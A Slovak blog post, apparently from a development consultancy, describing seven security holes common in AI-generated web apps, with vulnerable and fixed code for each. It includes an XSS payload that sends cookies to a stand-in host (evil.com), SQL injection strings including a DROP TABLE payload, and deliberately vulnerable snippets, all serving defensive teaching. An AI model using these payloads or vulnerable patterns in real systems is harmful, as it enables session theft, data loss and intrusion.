Skip to content
Späť na blog

Bezpečnostné diery, ktoré má každá vibe-coded aplikácia

Bezpečnostné diery, ktoré má každá vibe-coded aplikácia

Postavili ste appku s AI. Vyzerá skvele, funguje, používatelia sa registrujú. Ale je tu problém, ktorý z UI nevidíte: vaša aplikácia je takmer určite plná bezpečnostných dier.

Toto nie je kritika AI nástrojov. Sú optimalizované na to, aby funkcie fungovali, nie na obranu do hĺbky. Bezpečnosť je adversariálne myslenie — predvídanie toho, ako sa niekto pokúsi preraziť váš systém. AI generátory kódu nemyslia ako útočníci. Myslia ako stavitelia dém.

Tu je sedem bezpečnostných zraniteľností, ktoré nachádzame prakticky v každej vibe-coded aplikácii. Každá je zneužiteľná a každá má priamočiare riešenie.

1. Exponované premenné prostredia

Toto je najčastejšia a najnebezpečnejšia zraniteľnosť. AI nástroje často hardkódujú API kľúče, prihlasovacie údaje k databáze a tajné tokeny priamo do zdrojového kódu.

Ako to vyzerá:

// Toto je vo vašom repozitári práve teraz
const stripe = new Stripe('sk_live_abc123skutocnykluc...')
const dbUrl = 'postgresql://admin:heslo123@db.example.com:5432/prod'

Ak je váš kód vo verejnom repozitári, automatizované boty už tieto kľúče hľadajú. Ak je v súkromnom repo, jediný kompromitovaný vývojársky účet odhalí všetko.

Dokonca ani .env súbory nie sú bezpečné, ak sú commitnuté do gitu. Pravidelne nachádzame produkčné heslá k databázam v git histórii.

Riešenie:

  • Nikdy nehardkódujte tajomstvá. Používajte premenné prostredia načítané z .env súborov, ktoré sú v .gitignore
  • Pre produkciu použite správcu tajomstiev (AWS Secrets Manager, Vault, alebo dokonca šifrované premenné prostredia vo vašom hostingu)
  • Auditujte vašu git históriu: git log --all -p | grep -i "password\|secret\|api_key" — ak niečo nájdete, okamžite rotujte tieto poverenia
  • Používajte rôzne poverenia pre každé prostredie

2. Žiadna validácia vstupov

AI-generované backendy akceptujú akékoľvek dáta, ktoré im pošlete. Žiadna kontrola typov, žiadne limity dĺžky, žiadna validácia formátu. Každé vstupné pole je potenciálny vektor útoku.

Ako to vyzerá:

// AI-generované: verzia ktorá dôveruje všetkému
app.post('/api/users', async (req, res) => {
  const user = await db.user.create({ data: req.body })
  res.json(user)
})

Útočník môže poslať { "role": "admin", "email": "čokoľvek" } a vaša aplikácia veselo vytvorí admin používateľa. Alebo pošle 10MB reťazec v poli meno a znefunkční váš server.

Riešenie:

// Produkčné: validuje všetko
import { z } from 'zod'

const CreateUserSchema = z.object({
  email: z.string().email().max(255),
  name: z.string().min(1).max(100),
  // rola sa z inputu NEAKCEPTUJE
})

app.post('/api/users', async (req, res) => {
  const data = CreateUserSchema.parse(req.body)
  const user = await db.user.create({ data })
  res.json(user)
})

Používajte Zod (TypeScript), Pydantic (Python), alebo ekvivalent vášho jazyka. Validujte každý vstup na každom endpointe. Nikdy nedôverujte klientovi.

3. Predvolené poverenia a otvorené admin panely

AI nástroje postavia admin panely s predvolenými používateľskými menami a heslami. Niekedy ani nepridajú autentifikáciu na admin routes.

Auditovali sme aplikácie, kde bol /admin prístupný komukoľvek, kto zadal URL. Žiadne prihlásenie. Plný prístup k používateľským dátam, konfigurácii a databázovým operáciám.

Čo skontrolovať:

  • Je váš admin panel chránený autentifikáciou?
  • Zmenili ste predvolené admin poverenia?
  • Je admin panel prístupný z verejného internetu, alebo len z vašej internej siete?
  • Vyžaduje admin prístup viacfaktorovú autentifikáciu?

Riešenie: Minimálne dajte váš admin panel za autentifikáciu so silným, unikátnym heslom. Ideálne obmedzte admin prístup na konkrétne IP adresy alebo VPN. Pridajte MFA pre každý účet s admin právami.

4. Chýbajúca CORS konfigurácia

Cross-Origin Resource Sharing (CORS) riadi, ktoré domény môžu robiť requesty na vaše API. AI-generované aplikácie typicky nastavia CORS na * — čo znamená, že akákoľvek webová stránka na internete môže robiť autentifikované requesty na váš backend.

Ako to vyzerá:

// AI-generované: povolí všetko
app.use(cors({ origin: '*' }))

To znamená, že útočník môže postaviť škodlivú webovú stránku, ktorá robí requesty na vaše API používaním cookies vašich používateľov. Ak prihlásený používateľ navštívi útočníkovu stránku, útočník môže konať ako ten používateľ.

Riešenie:

// Produkčné: whitelist vašich domén
app.use(cors({
  origin: ['https://vasaappka.com', 'https://app.vasaappka.com'],
  credentials: true,
}))

Povoľte len originy, ktoré kontrolujete. Buďte explicitní. Vo vývoji môžete pridať localhost, ale nikdy nedodávajte * do produkcie.

5. Žiadny rate limiting

Bez rate limitingu je vaše API bufet pre útočníkov. Brute force pokusy o prihlásenie, credential stuffing, API scraping, denial of service — to všetko je triviálne jednoduché, keď neexistujú limity.

Čo je v ohrození:

  • Prihlasovacie endpointy — útočník môže vyskúšať tisíce hesiel za minútu
  • Reset hesla — odoslať tisíce resetovacích emailov na obťažovanie vašich používateľov
  • API endpointy — vyscrapovať všetky vaše dáta alebo navýšiť náklady na infraštruktúru
  • Registrácia — vytvoriť tisíce falošných účtov

Riešenie:

import rateLimit from 'express-rate-limit'

// Všeobecný API rate limit
app.use('/api/', rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minút
  max: 100, // 100 requestov za okno
}))

// Prísnejší limit na auth endpointy
app.use('/api/auth/', rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 10, // 10 pokusov za 15 minút
}))

Minimálne pridajte rate limiting na autentifikačné endpointy. Ideálne limitujte všetko s rozumnými defaultmi.

6. SQL Injection

Mysleli by ste, že toto je v roku 2026 vyriešený problém. Nie je. AI-generovaný kód stále stavia SQL dotazy konkatenáciou reťazcov, obzvlášť pri vyhľadávaní, filtrovaní a reportovacích funkciách.

Ako to vyzerá:

// AI-generované: zraniteľné na SQL injection
app.get('/api/users', async (req, res) => {
  const users = await db.$queryRaw(
    `SELECT * FROM users WHERE name LIKE '%${req.query.search}%'`
  )
  res.json(users)
})

Útočník pošle search=' OR '1'='1' -- a dostane celú vašu tabuľku používateľov. Alebo horšie: search='; DROP TABLE users; --.

Riešenie:

// Produkčné: parameterizovaný dotaz
app.get('/api/users', async (req, res) => {
  const users = await db.$queryRaw(
    Prisma.sql`SELECT * FROM users WHERE name LIKE ${`%${req.query.search}%`}`
  )
  res.json(users)
})

Vždy používajte parameterizované dotazy alebo vstavaný query builder vášho ORM. Nikdy nekoncatenujte používateľský vstup do SQL reťazcov. Toto pravidlo nemá žiadne výnimky.

7. Cross-Site Scripting (XSS)

AI-generované aplikácie často vykreslia používateľský obsah bez sanitizácie. Ak môže používateľ zadať text, ktorý sa zobrazuje ďalším používateľom — komentáre, profily, správy — XSS je takmer zaručený.

Ako to vyzerá:

// AI-generované: zraniteľné na XSS
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />
}

Útočník odošle komentár obsahujúci <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> a ukradne session každého používateľa, ktorý ten komentár zobrazí.

Riešenie:

  • Nikdy nepoužívajte dangerouslySetInnerHTML s používateľským obsahom
  • React escapuje obsah štandardne — neobchádzajte to
  • Ak musíte renderovať HTML, použite sanitizačnú knižnicu ako DOMPurify
  • Nastavte Content Security Policy hlavičky na prevenciu vykonávania inline skriptov
// Produkčné: štandardne escapované
function Comment({ text }) {
  return <div>{text}</div>
}

Zreťazené riziko

Každá zraniteľnosť sama o sebe je problém. Spolu sú katastrofálne. Útočník nájde váš exponovaný API kľúč (zraniteľnosť 1), využije absenciu rate limitingu (zraniteľnosť 5) na enumeráciu používateľov cez nevalidované API (zraniteľnosť 2) a eskaluje na admin prístup cez predvolené poverenia (zraniteľnosť 3).

Bezpečnosť je reťaz. AI nástroje nemyslia v reťazcoch. Myslia vo featurách.

Čo urobiť hneď teraz

  1. Prehľadajte váš kód na hardkódované tajomstvá. Rotujte všetky, ktoré nájdete.
  2. Pridajte validáciu vstupov na každý API endpoint.
  3. Nakonfigurujte CORS aby povoľoval len vaše domény.
  4. Pridajte rate limiting minimálne na autentifikačné endpointy.
  5. Spustite npm audit a opravte kritické zraniteľnosti.

Toto zaberie deň. Môže to zachrániť vašu firmu.

Ak chcete dôkladnú kontrolu, objednajte si bezplatný Quick Audit. Preskenujeme váš kód na tieto zraniteľnosti a ďalšie, a dáme vám prioritizovaný zoznam opráv. Pozrite si aj náš kompletný MVP do produkcie checklist.

Pacil sa vam clanok? Ziskajte nas bezplatny MVP checklist